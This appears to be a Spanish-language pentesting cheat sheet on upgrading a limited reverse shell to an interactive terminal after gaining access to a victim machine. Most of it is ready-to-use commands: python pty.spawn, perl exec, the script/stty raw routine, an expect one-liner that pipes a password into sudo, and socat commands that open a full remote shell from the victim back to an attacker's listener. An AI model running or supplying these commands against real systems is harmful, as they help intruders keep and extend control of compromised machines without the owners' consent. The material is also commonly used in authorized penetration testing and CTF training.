INFO

Todos los comandos usados en esta pagina sirven para pasar de una dumb shell a una shell interactiva. Si buscas como escapar de una sesión que abre un programa dirigete a Escape programs

Nos daremos cuenta que estamos en una dumb shell de la siguiente manera:

  • CTRL+c
  • El comando su/sudo nos devuelve un error del tipo: You need a proper terminal to run
  • No puedes usar correctamente editores de texto como nano/vim
  • No puedes usar tab para completar ni navegar por el historial con las flechas arriba/abajo

Entre otros, si es tu caso, puedes obtener una shell interactiva con cualquiera de los siguientes comandos

TIP

Al cambiar a una shell interactiva puede que quede más pequeña de lo que tu terminal ocupa y queden margenes negros en la los laterales y la parte inferior del terminal, si quieres corregir eso, antes de ejecutar ningun comando usa:

stty -a

Y recuerda el numero de filas y columnas, cuando tengas tu shell interactiva usa este comando para recuperar el tamaño completo:

stty rows filas columns columnas

TIP

Si ninguno de los comandos te funciona y necesitas usar sudo o cualquier utilidad que te pida una contraseña usa este comando

expect -c 'spawn sudo -S <COMANDO_A_EJECUTAR>;expect "*password*";send "<USER_PWD>";send "\r\n";interact'

WARNING

Sustituye <shell> por la shell que quieras usar (puedes comprobar si existe haciendo cat /etc/shells), si no sabes cual usar, las siguientes están ordenadas por probabilidad de que existan:

  1. sh
  2. bash
  3. dash (En sistemas basados en Debian/Ubuntu)
  4. zsh
  5. ksh
  6. csh

Sistema

Los siguientes comandos son distintas formas de invocar una shell interactiva y deberían funcionar independientemente de las utilidades instaladas

echo os.system('/bin/<shell>')
/bin/<shell> -i

Python

TIP

Puede que el sistema no tenga python (generalmente python2) y que use python3, para comprobar si lo tiene usa python/python2/python3 —version y si alguno funciona ejecuta el comando cambiando python por la version que haya funcionado

python -c 'import pty; pty.spawn("/bin/<shell>")'

Perl

perl -e 'exec "/bin/sh";'

STTY

Este método puede resultar complejo, pero es bastante efectivo y no suele fallar.

Estando en la reverse shell

script /dev/null -qc /bin/bash

Presiona CTRL+Z, verás que la shell se ha mandado a bg, ejecuta los siguientes comandos

stty raw -echo && fg

Veras que vuelves a tener la reverse shell pero incompleta

reset
export SHELL=<shell>
export TERM=xterm-256color

Socat

WARNING

Este metodo de upgrade realiza una segunda conexión a la que luego se conecta con la shell interactiva, así que ten los siguientes puntos en mente:

  • Usa un puerto que no esté en uso
  • Puerto e IP son de la maquina atacante

Ejecuta este comando en la maquina atacante para escuchar en un puerto tcp

socat file:`tty`,raw,echo=0 tcp-listen:<puerto>

Ejecuta este comando en la maquina victima, usando la ip del atacante y el puerto que has usado arriba

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ip>:<puerto>